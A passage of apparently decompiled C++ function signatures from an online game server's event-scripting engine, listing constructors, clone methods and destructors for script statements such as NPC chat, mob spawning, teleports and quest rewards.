Movie::Theater::t_SetInterruptHPUpper(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); char __thiscall FieldMap::fm_AreaEntry(int this, Name8 *areaindex, unsigned int x, unsigned int y); char __thiscall ShineObjectClass::ShineObject::so_SubLayerShift(int this, char sublayer, char logout); void __thiscall PineEventScriptNode::ShinePrintf::ShinePrintf(PineEventScriptNode::ShinePrintf *this); void __thiscall PineEventScriptNode::ShineScriptFile::ShineScriptFile(PineEventScriptNode::ShineScriptFile *this); void __thiscall PineEventScriptNode::ShineTimeLimit::ShineTimeLimit(PineEventScriptNode::ShineTimeLimit *this); void __thiscall PineEventScriptNode::ShineInterruptClear::ShineInterruptClear(PineEventScriptNode::ShineInterruptClear *this); void __thiscall PineEventScriptNode::ShineInterruptSet::ShineInterruptSet(PineEventScriptNode::ShineInterruptSet *this); void __thiscall PineEventScriptNode::ShineInterruptErase::ShineInterruptErase(PineEventScriptNode::ShineInterruptErase *this); void __thiscall PineEventScriptNode::ShineWaitInterrupt::ShineWaitInterrupt(PineEventScriptNode::ShineWaitInterrupt *this); void __thiscall PineEventScriptNode::ShineMobRegen::ShineMobRegen(PineEventScriptNode::ShineMobRegen *this); void __thiscall PineEventScriptNode::ShineDoorBuild::ShineDoorBuild(PineEventScriptNode::ShineDoorBuild *this); void __thiscall PineEventScriptNode::ShineNPCStand::ShineNPCStand(PineEventScriptNode::ShineNPCStand *this); void __thiscall PineEventScriptNode::ShineChange2Mob::ShineChange2Mob(PineEventScriptNode::ShineChange2Mob *this); void __thiscall PineEventScriptNode::ShineChange2Door::ShineChange2Door(PineEventScriptNode::ShineChange2Door *this); void __thiscall PineEventScriptNode::ShineChange2NPC::ShineChange2NPC(PineEventScriptNode::ShineChange2NPC *this); void __thiscall PineEventScriptNode::ShineExchange2Mob::ShineExchange2Mob(PineEventScriptNode::ShineExchange2Mob *this); void __thiscall PineEventScriptNode::ShineDoorOpen::ShineDoorOpen(PineEventScriptNode::ShineDoorOpen *this); void __thiscall PineEventScriptNode::ShineDoorClose::ShineDoorClose(PineEventScriptNode::ShineDoorClose *this); void __thiscall PineEventScriptNode::ShineObjectVanish::ShineObjectVanish(PineEventScriptNode::ShineObjectVanish *this); void __thiscall PineEventScriptNode::ShineRegenGroup::ShineRegenGroup(PineEventScriptNode::ShineRegenGroup *this); void __thiscall PineEventScriptNode::ShineWaitUserLogin::ShineWaitUserLogin(PineEventScriptNode::ShineWaitUserLogin *this); void __thiscall PineEventScriptNode::ShinePause::ShinePause(PineEventScriptNode::ShinePause *this); void __thiscall PineEventScriptNode::ShineNPCChat::ShineNPCChat(PineEventScriptNode::ShineNPCChat *this); void __thiscall PineEventScriptNode::ShineNPCShout::ShineNPCShout(PineEventScriptNode::ShineNPCShout *this); void __thiscall PineEventScriptNode::ShineChatWindow::ShineChatWindow(PineEventScriptNode::ShineChatWindow *this); void __thiscall PineEventScriptNode::ShineChatWindowRange::ShineChatWindowRange(PineEventScriptNode::ShineChatWindowRange *this); void __thiscall PineEventScriptNode::ShineSomeoneShout::ShineSomeoneShout(PineEventScriptNode::ShineSomeoneShout *this); void __thiscall PineEventScriptNode::ShineSummonMob::ShineSummonMob(PineEventScriptNode::ShineSummonMob *this); void __thiscall PineEventScriptNode::ShineQuestResult::ShineQuestResult(PineEventScriptNode::ShineQuestResult *this); void __thiscall PineEventScriptNode::ShineReward::ShineReward(PineEventScriptNode::ShineReward *this); void __thiscall PineEventScriptNode::ShineBroadcast::ShineBroadcast(PineEventScriptNode::ShineBroadcast *this); void __thiscall PineEventScriptNode::ShineLinkTo::ShineLinkTo(PineEventScriptNode::ShineLinkTo *this); void __thiscall PineEventScriptNode::ShineWhoClickMe::ShineWhoClickMe(PineEventScriptNode::ShineWhoClickMe *this); void __thiscall PineEventScriptNode::ShineWhoKillMe::ShineWhoKillMe(PineEventScriptNode::ShineWhoKillMe *this); void __thiscall PineEventScriptNode::ShineItemDrop::ShineItemDrop(PineEventScriptNode::ShineItemDrop *this); void __thiscall PineEventScriptNode::ShineInvenSearch::ShineInvenSearch(PineEventScriptNode::ShineInvenSearch *this); void __thiscall PineEventScriptNode::ShineItemCreate::ShineItemCreate(PineEventScriptNode::ShineItemCreate *this); void __thiscall PineEventScriptNode::ShineItemErase::ShineItemErase(PineEventScriptNode::ShineItemErase *this); void __thiscall PineEventScriptNode::ShineFindHandle::ShineFindHandle(PineEventScriptNode::ShineFindHandle *this); void __thiscall PineEventScriptNode::ShineAbstatSet::ShineAbstatSet(PineEventScriptNode::ShineAbstatSet *this); void __thiscall PineEventScriptNode::ShineAbstatReset::ShineAbstatReset(PineEventScriptNode::ShineAbstatReset *this); void __thiscall PineEventScriptNode::ShineSuicide::ShineSuicide(PineEventScriptNode::ShineSuicide *this); void __thiscall PineEventScriptNode::ShineRun::ShineRun(PineEventScriptNode::ShineRun *this); void __thiscall PineEventScriptNode::ShineWalk::ShineWalk(PineEventScriptNode::ShineWalk *this); void __thiscall PineEventScriptNode::ShineMapLight::ShineMapLight(PineEventScriptNode::ShineMapLight *this); void __thiscall PineEventScriptNode::ShineMapFog::ShineMapFog(PineEventScriptNode::ShineMapFog *this); void __thiscall PineEventScriptNode::ShineEffectObject::ShineEffectObject(PineEventScriptNode::ShineEffectObject *this); void __thiscall PineEventScriptNode::ShineEffectLocate::ShineEffectLocate(PineEventScriptNode::ShineEffectLocate *this); void __thiscall PineEventScriptNode::ShineAggro::ShineAggro(PineEventScriptNode::ShineAggro *this); void __thiscall PineEventScriptNode::ShineMobWeaponRate::ShineMobWeaponRate(PineEventScriptNode::ShineMobWeaponRate *this); void __thiscall PineEventScriptNode::ShineMobDetectRange::ShineMobDetectRange(PineEventScriptNode::ShineMobDetectRange *this); void __thiscall PineEventScriptNode::ShineHeal::ShineHeal(PineEventScriptNode::ShineHeal *this); void __thiscall PineEventScriptNode::ShineAnimate::ShineAnimate(PineEventScriptNode::ShineAnimate *this); void __thiscall PineEventScriptNode::ShineDuplicate::ShineDuplicate(PineEventScriptNode::ShineDuplicate *this); void __thiscall PineEventScriptNode::ShineWaitIdle::ShineWaitIdle(PineEventScriptNode::ShineWaitIdle *this); void __thiscall PineEventScriptNode::ShineDeathCountClear::ShineDeathCountClear(PineEventScriptNode::ShineDeathCountClear *this); void __thiscall PineEventScriptNode::ShineItemAttrSet::ShineItemAttrSet(PineEventScriptNode::ShineItemAttrSet *this); void __thiscall PineEventScriptNode::ShineScinarioCode::ShineScinarioCode(PineEventScriptNode::ShineScinarioCode *this); void __thiscall PineEventScriptNode::ShineBattleStart::ShineBattleStart(PineEventScriptNode::ShineBattleStart *this); void __thiscall PineEventScriptNode::ShineBattleStop::ShineBattleStop(PineEventScriptNode::ShineBattleStop *this); void __thiscall PineEventScriptNode::ShineSendKQResult::ShineSendKQResult(PineEventScriptNode::ShineSendKQResult *this); void __thiscall PineEventScriptNode::ShineInvidualReward::ShineInvidualReward(PineEventScriptNode::ShineInvidualReward *this); void __thiscall PineEventScriptNode::ShineReturnValue::ShineReturnValue(PineEventScriptNode::ShineReturnValue *this); void __thiscall PineEventScriptNode::ShineSubLayerShift::ShineSubLayerShift(PineEventScriptNode::ShineSubLayerShift *this); void __thiscall PineEventScriptNode::ShineTeleport::ShineTeleport(PineEventScriptNode::ShineTeleport *this); void __thiscall PineEventScriptNode::ShineItemOwner::ShineItemOwner(PineEventScriptNode::ShineItemOwner *this); void __thiscall PineEventScriptNode::ShineMobAttribute::ShineMobAttribute(PineEventScriptNode::ShineMobAttribute *this); void __thiscall PineEventScriptNode::ShineObjectCollect::ShineObjectCollect(PineEventScriptNode::ShineObjectCollect *this); void __thiscall PineEventScriptNode::ShineEndOfKingdomQuest::ShineEndOfKingdomQuest(PineEventScriptNode::ShineEndOfKingdomQuest *this); void __thiscall PineEventScriptNode::ShineEndOfGuildTournament::ShineEndOfGuildTournament(PineEventScriptNode::ShineEndOfGuildTournament *this); void __thiscall PineEventScriptNode::ShineGuildTorunamentResult::ShineGuildTorunamentResult(PineEventScriptNode::ShineGuildTorunamentResult *this); void __thiscall PineEventScriptNode::ShineCostumeCreate::ShineCostumeCreate(PineEventScriptNode::ShineCostumeCreate *this); void __thiscall PineEventScriptNode::ShineCostumeTakeOff::ShineCostumeTakeOff(PineEventScriptNode::ShineCostumeTakeOff *this); void __thiscall PineEventScriptNode::ShineWeddingComplete::ShineWeddingComplete(PineEventScriptNode::ShineWeddingComplete *this); void __thiscall PineEventScriptNode::ShinePlayerWalk::ShinePlayerWalk(PineEventScriptNode::ShinePlayerWalk *this); void __thiscall PineEventScriptNode::ShineFindPlayer::ShineFindPlayer(PineEventScriptNode::ShineFindPlayer *this); void __thiscall PineEventScriptNode::ShineTeleportAll::ShineTeleportAll(PineEventScriptNode::ShineTeleportAll *this); void __thiscall PineEventScriptNode::ShineBriefEffect::ShineBriefEffect(PineEventScriptNode::ShineBriefEffect *this); void __thiscall PineEventScriptNode::ShineBanFromArea::ShineBanFromArea(PineEventScriptNode::ShineBanFromArea *this); void __thiscall PineEventScriptNode::ShineRegesteFlag::ShineRegesteFlag(PineEventScriptNode::ShineRegesteFlag *this); void __thiscall PineEventScriptNode::ShineRegesteGate::ShineRegesteGate(PineEventScriptNode::ShineRegesteGate *this); void __thiscall PineEventScriptNode::ShineDiceGameStart::ShineDiceGameStart(PineEventScriptNode::ShineDiceGameStart *this); void __thiscall PineEventScriptNode::ShineRevival::ShineRevival(PineEventScriptNode::ShineRevival *this); void __thiscall PineEventScriptNode::ShineSpawn::ShineSpawn(PineEventScriptNode::ShineSpawn *this); void __thiscall PineEventScriptNode::ShineHPSet::ShineHPSet(PineEventScriptNode::ShineHPSet *this); void __thiscall PineEventScriptNode::ShineEndOfMID::ShineEndOfMID(PineEventScriptNode::ShineEndOfMID *this); void __thiscall PineEventScriptNode::ShineInvidualMidReward::ShineInvidualMidReward(PineEventScriptNode::ShineInvidualMidReward *this); void __thiscall PineEventScriptNode::ShineMIDClearCount::ShineMIDClearCount(PineEventScriptNode::ShineMIDClearCount *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShinePrintf::sb_CloneMe(PineEventScriptNode::ShinePrintf *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineScriptFile::sb_CloneMe(PineEventScriptNode::ShineScriptFile *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineTimeLimit::sb_CloneMe(PineEventScriptNode::ShineTimeLimit *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineInterruptClear::sb_CloneMe(PineEventScriptNode::ShineInterruptClear *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineInterruptSet::sb_CloneMe(PineEventScriptNode::ShineInterruptSet *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineInterruptErase::sb_CloneMe(PineEventScriptNode::ShineInterruptErase *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWaitInterrupt::sb_CloneMe(PineEventScriptNode::ShineWaitInterrupt *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMobRegen::sb_CloneMe(PineEventScriptNode::ShineMobRegen *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDoorBuild::sb_CloneMe(PineEventScriptNode::ShineDoorBuild *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineNPCStand::sb_CloneMe(PineEventScriptNode::ShineNPCStand *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineChange2Mob::sb_CloneMe(PineEventScriptNode::ShineChange2Mob *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineChange2Door::sb_CloneMe(PineEventScriptNode::ShineChange2Door *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineChange2NPC::sb_CloneMe(PineEventScriptNode::ShineChange2NPC *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineExchange2Mob::sb_CloneMe(PineEventScriptNode::ShineExchange2Mob *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDoorOpen::sb_CloneMe(PineEventScriptNode::ShineDoorOpen *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDoorClose::sb_CloneMe(PineEventScriptNode::ShineDoorClose *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineObjectVanish::sb_CloneMe(PineEventScriptNode::ShineObjectVanish *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineRegenGroup::sb_CloneMe(PineEventScriptNode::ShineRegenGroup *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWaitUserLogin::sb_CloneMe(PineEventScriptNode::ShineWaitUserLogin *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShinePause::sb_CloneMe(PineEventScriptNode::ShinePause *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineNPCChat::sb_CloneMe(PineEventScriptNode::ShineNPCChat *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineNPCShout::sb_CloneMe(PineEventScriptNode::ShineNPCShout *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineChatWindow::sb_CloneMe(PineEventScriptNode::ShineChatWindow *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineChatWindowRange::sb_CloneMe(PineEventScriptNode::ShineChatWindowRange *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSomeoneShout::sb_CloneMe(PineEventScriptNode::ShineSomeoneShout *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSummonMob::sb_CloneMe(PineEventScriptNode::ShineSummonMob *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineQuestResult::sb_CloneMe(PineEventScriptNode::ShineQuestResult *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineReward::sb_CloneMe(PineEventScriptNode::ShineReward *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineBroadcast::sb_CloneMe(PineEventScriptNode::ShineBroadcast *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineLinkTo::sb_CloneMe(PineEventScriptNode::ShineLinkTo *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineItemDrop::sb_CloneMe(PineEventScriptNode::ShineItemDrop *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWhoClickMe::sb_CloneMe(PineEventScriptNode::ShineWhoClickMe *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWhoKillMe::sb_CloneMe(PineEventScriptNode::ShineWhoKillMe *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineInvenSearch::sb_CloneMe(PineEventScriptNode::ShineInvenSearch *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineItemCreate::sb_CloneMe(PineEventScriptNode::ShineItemCreate *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineItemErase::sb_CloneMe(PineEventScriptNode::ShineItemErase *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineFindHandle::sb_CloneMe(PineEventScriptNode::ShineFindHandle *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineAbstatSet::sb_CloneMe(PineEventScriptNode::ShineAbstatSet *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineAbstatReset::sb_CloneMe(PineEventScriptNode::ShineAbstatReset *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSuicide::sb_CloneMe(PineEventScriptNode::ShineSuicide *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineRun::sb_CloneMe(PineEventScriptNode::ShineRun *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWalk::sb_CloneMe(PineEventScriptNode::ShineWalk *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMapLight::sb_CloneMe(PineEventScriptNode::ShineMapLight *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMapFog::sb_CloneMe(PineEventScriptNode::ShineMapFog *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineEffectObject::sb_CloneMe(PineEventScriptNode::ShineEffectObject *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineEffectLocate::sb_CloneMe(PineEventScriptNode::ShineEffectLocate *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineAggro::sb_CloneMe(PineEventScriptNode::ShineAggro *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMobWeaponRate::sb_CloneMe(PineEventScriptNode::ShineMobWeaponRate *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMobDetectRange::sb_CloneMe(PineEventScriptNode::ShineMobDetectRange *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineHeal::sb_CloneMe(PineEventScriptNode::ShineHeal *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineAnimate::sb_CloneMe(PineEventScriptNode::ShineAnimate *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDuplicate::sb_CloneMe(PineEventScriptNode::ShineDuplicate *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWaitIdle::sb_CloneMe(PineEventScriptNode::ShineWaitIdle *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDeathCountClear::sb_CloneMe(PineEventScriptNode::ShineDeathCountClear *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineItemAttrSet::sb_CloneMe(PineEventScriptNode::ShineItemAttrSet *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineScinarioCode::sb_CloneMe(PineEventScriptNode::ShineScinarioCode *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineBattleStart::sb_CloneMe(PineEventScriptNode::ShineBattleStart *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineBattleStop::sb_CloneMe(PineEventScriptNode::ShineBattleStop *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSendKQResult::sb_CloneMe(PineEventScriptNode::ShineSendKQResult *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineInvidualReward::sb_CloneMe(PineEventScriptNode::ShineInvidualReward *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineReturnValue::sb_CloneMe(PineEventScriptNode::ShineReturnValue *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSubLayerShift::sb_CloneMe(PineEventScriptNode::ShineSubLayerShift *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineTeleport::sb_CloneMe(PineEventScriptNode::ShineTeleport *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineItemOwner::sb_CloneMe(PineEventScriptNode::ShineItemOwner *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMobAttribute::sb_CloneMe(PineEventScriptNode::ShineMobAttribute *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineObjectCollect::sb_CloneMe(PineEventScriptNode::ShineObjectCollect *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineEndOfKingdomQuest::sb_CloneMe(PineEventScriptNode::ShineEndOfKingdomQuest *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineEndOfGuildTournament::sb_CloneMe(PineEventScriptNode::ShineEndOfGuildTournament *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineGuildTorunamentResult::sb_CloneMe(PineEventScriptNode::ShineGuildTorunamentResult *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineCostumeCreate::sb_CloneMe(PineEventScriptNode::ShineCostumeCreate *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineCostumeTakeOff::sb_CloneMe(PineEventScriptNode::ShineCostumeTakeOff *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWeddingComplete::sb_CloneMe(PineEventScriptNode::ShineWeddingComplete *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShinePlayerWalk::sb_CloneMe(PineEventScriptNode::ShinePlayerWalk *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineFindPlayer::sb_CloneMe(PineEventScriptNode::ShineFindPlayer *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineTeleportAll::sb_CloneMe(PineEventScriptNode::ShineTeleportAll *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineBriefEffect::sb_CloneMe(PineEventScriptNode::ShineBriefEffect *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineBanFromArea::sb_CloneMe(PineEventScriptNode::ShineBanFromArea *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineRegesteFlag::sb_CloneMe(PineEventScriptNode::ShineRegesteFlag *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineRegesteGate::sb_CloneMe(PineEventScriptNode::ShineRegesteGate *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDiceGameStart::sb_CloneMe(PineEventScriptNode::ShineDiceGameStart *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineRevival::sb_CloneMe(PineEventScriptNode::ShineRevival *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSpawn::sb_CloneMe(PineEventScriptNode::ShineSpawn *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineHPSet::sb_CloneMe(PineEventScriptNode::ShineHPSet *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineEndOfMID::sb_CloneMe(PineEventScriptNode::ShineEndOfMID *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineInvidualMidReward::sb_CloneMe(PineEventScriptNode::ShineInvidualMidReward *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMIDClearCount::sb_CloneMe(PineEventScriptNode::ShineMIDClearCount *this); void __thiscall ScriptBriefMaker::sbr_RandomShape(ScriptBriefMaker *this, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *buf); PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *__thiscall ScriptBriefMaker::sbr_MakeBeggar(ScriptBriefMaker *this, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *buf); void __thiscall AxialListKQReward::AxialListKQReward(AxialListKQReward *this, unsigned int kq); void __thiscall AxialListKQReward::_AxialListKQReward(AxialListKQReward *this); char __thiscall AxialListKQReward::ali_Work(AxialListKQReward *this, #593 *, #593 *, unsigned int); void __thiscall AxialListMIDReward::AxialListMIDReward(AxialListMIDReward *this, Name3 sMapName); void __thiscall AxialListMIDReward::_AxialListMIDReward(AxialListMIDReward *this); char __thiscall AxialListMIDReward::ali_Work(AxialListMIDReward *this, #593 *, #593 *, unsigned int); void __thiscall AxialListKQEnd::_AxialListKQEnd(AxialListKQEnd *this); void __thiscall AxialListLinkTo::AxialListLinkTo(AxialListLinkTo *this, NPCManager::LinkInformTemplete *lnkinf); void __thiscall AxialListLinkTo::_AxialListLinkTo(AxialListLinkTo *this); char __thiscall AxialListLinkTo::ali_Work(AxialListLinkTo *this, #593 *, #593 *, unsigned int); void __thiscall AxialListLinkToByObserver::AxialListLinkToByObserver(AxialListLinkToByObserver *this, NPCManager::LinkInformTemplete *lnkinf); void __thiscall AxialListLinkToByObserver::_AxialListLinkToByObserver(AxialListLinkToByObserver *this); char __thiscall AxialListLinkToByObserver::ali_Work(AxialListLinkToByObserver *this, #593 *, #593 *, unsigned int); unsigned __int16 __thiscall PineEventScriptNode::ShinePrintf::sa_Step(PineEventScriptNode::ShinePrintf *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); void __thiscall AxialListMobVanish::_AxialListMobVanish(AxialListMobVanish *this); void __thiscall AxialListItemErase4All::_AxialListItemErase4All(AxialListItemErase4All *this); void __thiscall AxialListMobStateSet::AxialListMobStateSet(AxialListMobStateSet *this, unsigned __int16 mobid, ABSTATEINDEX abstateidx, int strength, AbnormalStateDictionary::AbState::AbStateStr *dic, int keeptime); void __thiscall AxialListMobStateSet::_AxialListMobStateSet(AxialListMobStateSet *this); void __thiscall AxialListMobStateSet::almss_AbStateSet(AxialListMobStateSet *this, #593 *obj); void __thiscall AxialListPlayerStateSet::_AxialListPlayerStateSet(AxialListPlayerStateSet *this); void __thiscall AxialListPlayerStateSet::AxialListPlayerStateSet(AxialListPlayerStateSet *this, ABSTATEINDEX abstateidx, int strength, AbnormalStateDictionary::AbState::AbStateStr *dic, int keeptime); void __thiscall AxialListPlayerStateSet::alpss_AbStateSet(AxialListPlayerStateSet *this, #593 *obj); void __thiscall AxialListTeleport::_AxialListTeleport(AxialListTeleport *this); char __thiscall AxialListTeleport::ali_Work(AxialListTeleport *this, #593 *, #593 *, unsigned int); void __thiscall AxialListTeleportAnywhere::_AxialListTeleportAnywhere(AxialListTeleportAnywhere *this); char __thiscall AxialListTeleportAnywhere::ali_Work(AxialListTeleportAnywhere *this, #593 *, #593 *, unsigned int); void __thiscall AxialListCount2::AxialListCount2(AxialListCount2 *this); void __thiscall AxialListCount2::_AxialListCount2(AxialListCount2 *this); char __thiscall AxialListCount2::ali_Work(AxialListCount2 *this, #593 *, #593 *, unsigned int); void __thiscall AxialListTeleportSplit::AxialListTeleportSplit(AxialListTeleportSplit *this, int NumOfPlayer, SHINE_XY_TYPE *Position, SHINE_XY_TYPE *Position2); void __thiscall AxialListTeleportSplit::_AxialListTeleportSplit(AxialListTeleportSplit *this); char __thiscall AxialListTeleportSplit::ali_Work(AxialListTeleportSplit *this, #593 *, #593 *, unsigned int); void __thiscall AxialListFindItemOwner::AxialListFindItemOwner(AxialListFindItemOwner *this, unsigned __int16 itmid, PineScriptToken *delimiter, PineScriptToken *result); void __thiscall AxialListFindItemOwner::_AxialListFindItemOwner(AxialListFindItemOwner *this); char __thiscall AxialListFindItemOwner::ali_Work(AxialListFindItemOwner *this, #593 *, #593 *, unsigned int); void __thiscall AxialListObjectCollector::_AxialListObjectCollector(AxialListObjectCollector *this); void __thiscall AxialListGTEnd::_AxialListGTEnd(AxialListGTEnd *this); char __thiscall AxialListGTEnd::ali_Work(AxialListGTEnd *this, #593 *, #593 *, unsigned int); void __thiscall MapBlock::MapDoorBlockElement::MapDoorBlockElement(MapBlock::MapDoorBlockElement *this); void __thiscall PineScriptTemporaryString::_PineScriptTemporaryString(PineScriptTemporaryString *this); PineScriptTemporaryString::StringStorage *__thiscall PineScriptTemporaryString::psts_Get(PineScriptTemporaryString *this); PineScriptTemporaryString::StringStorage *__thiscall PineScriptTemporaryString::psts_Get(PineScriptTemporaryString *this, const char *idx); void __thiscall PineEventScriptNode::RegisterGTPortal::_RegisterGTPortal(PineEventScriptNode::RegisterGTPortal *this); void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::SaveLinkto *this); void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::ClearSaveLinkto *this); void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::ID_Fail *this); void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::SendMapInMobInfo *this); void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::NPCChatNoFacecut *this); void __thiscall PineEventScriptNode::ScinarioCodeParty::_ScinarioCodeParty(PineEventScriptNode::ScinarioCodeParty *this); void __thiscall PineEventScriptNode::HasAbstate::_HasAbstate(PineEventScriptNode::HasAbstate *this); void __thiscall PineEventScriptNode::BroadcastCode::_BroadcastCode(PineEventScriptNode::BroadcastCode *this); void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::GTRegisterNPC *this); void *__thiscall PineEventScriptNode::ScriptBase::_vector_deleting_destructor_(PineEventScriptNode::RegisterGTPortal *this, unsigned int); void *__thiscall PineEventScriptNode::SaveLinkto::_vector_deleting_destructor_(PineEventScriptNode::SaveLinkto *this, unsigned int); void *__thiscall PineEventScriptNode::ClearSaveLinkto::_vector_deleting_destructor_(PineEventScriptNode::ClearSaveLinkto *this, unsigned int); void *__thiscall PineEventScriptNode::ID_Fail::_scalar_deleting_destructor_(PineEventScriptNode::ID_Fail *this, unsigned int); void *__thiscall PineEventScriptNode::SendMapInMobInfo::_vector_deleting_destructor_(PineEventScriptNode::SendMapInMobInfo *this, unsigned int); void *__thiscall PineEventScriptNode::ScriptBase::_vector_deleting_destructor_(PineEventScriptNode::NPCChatNoFacecut *this, unsigned int); void *__thiscall PineEventScriptNode::ScriptBase::_scalar_deleting_destructor_(PineEventScriptNode::ScinarioCodeParty *this, unsigned int); void *__thiscall PineEventScriptNode::ScriptBase::_vector_deleting_destructor_(PineEventScriptNode::HasAbstate *this, unsigned int); void *__thiscall PineEventScriptNode::ScriptBase::_vector_deleting_destructor_(PineEventScriptNode::BroadcastCode *this, unsigned int); void *__thiscall PineEventScriptNode::GTRegisterNPC::_scalar_deleting_destructor_(PineEventScriptNode::GTRegisterNPC *this, unsigned int); void *__thiscall PineEventScriptNode::ScriptBase::_vector_deleting_destructor_(PineEventScriptNode::GTMobRegenKey *this, unsigned int); void __thiscall Movie::Theater::t_MapGuildBattle(Movie::Theater *this, unsigned int a, unsigned int b); Name3 *__thiscall Movie::Theater::t_MapNameClient(Movie::Theater *this, Name3 *buf); #593 *__thiscall PineEventScriptNode::OtherStatement::os_ShineObject(PineEventScriptNode::OtherStatement 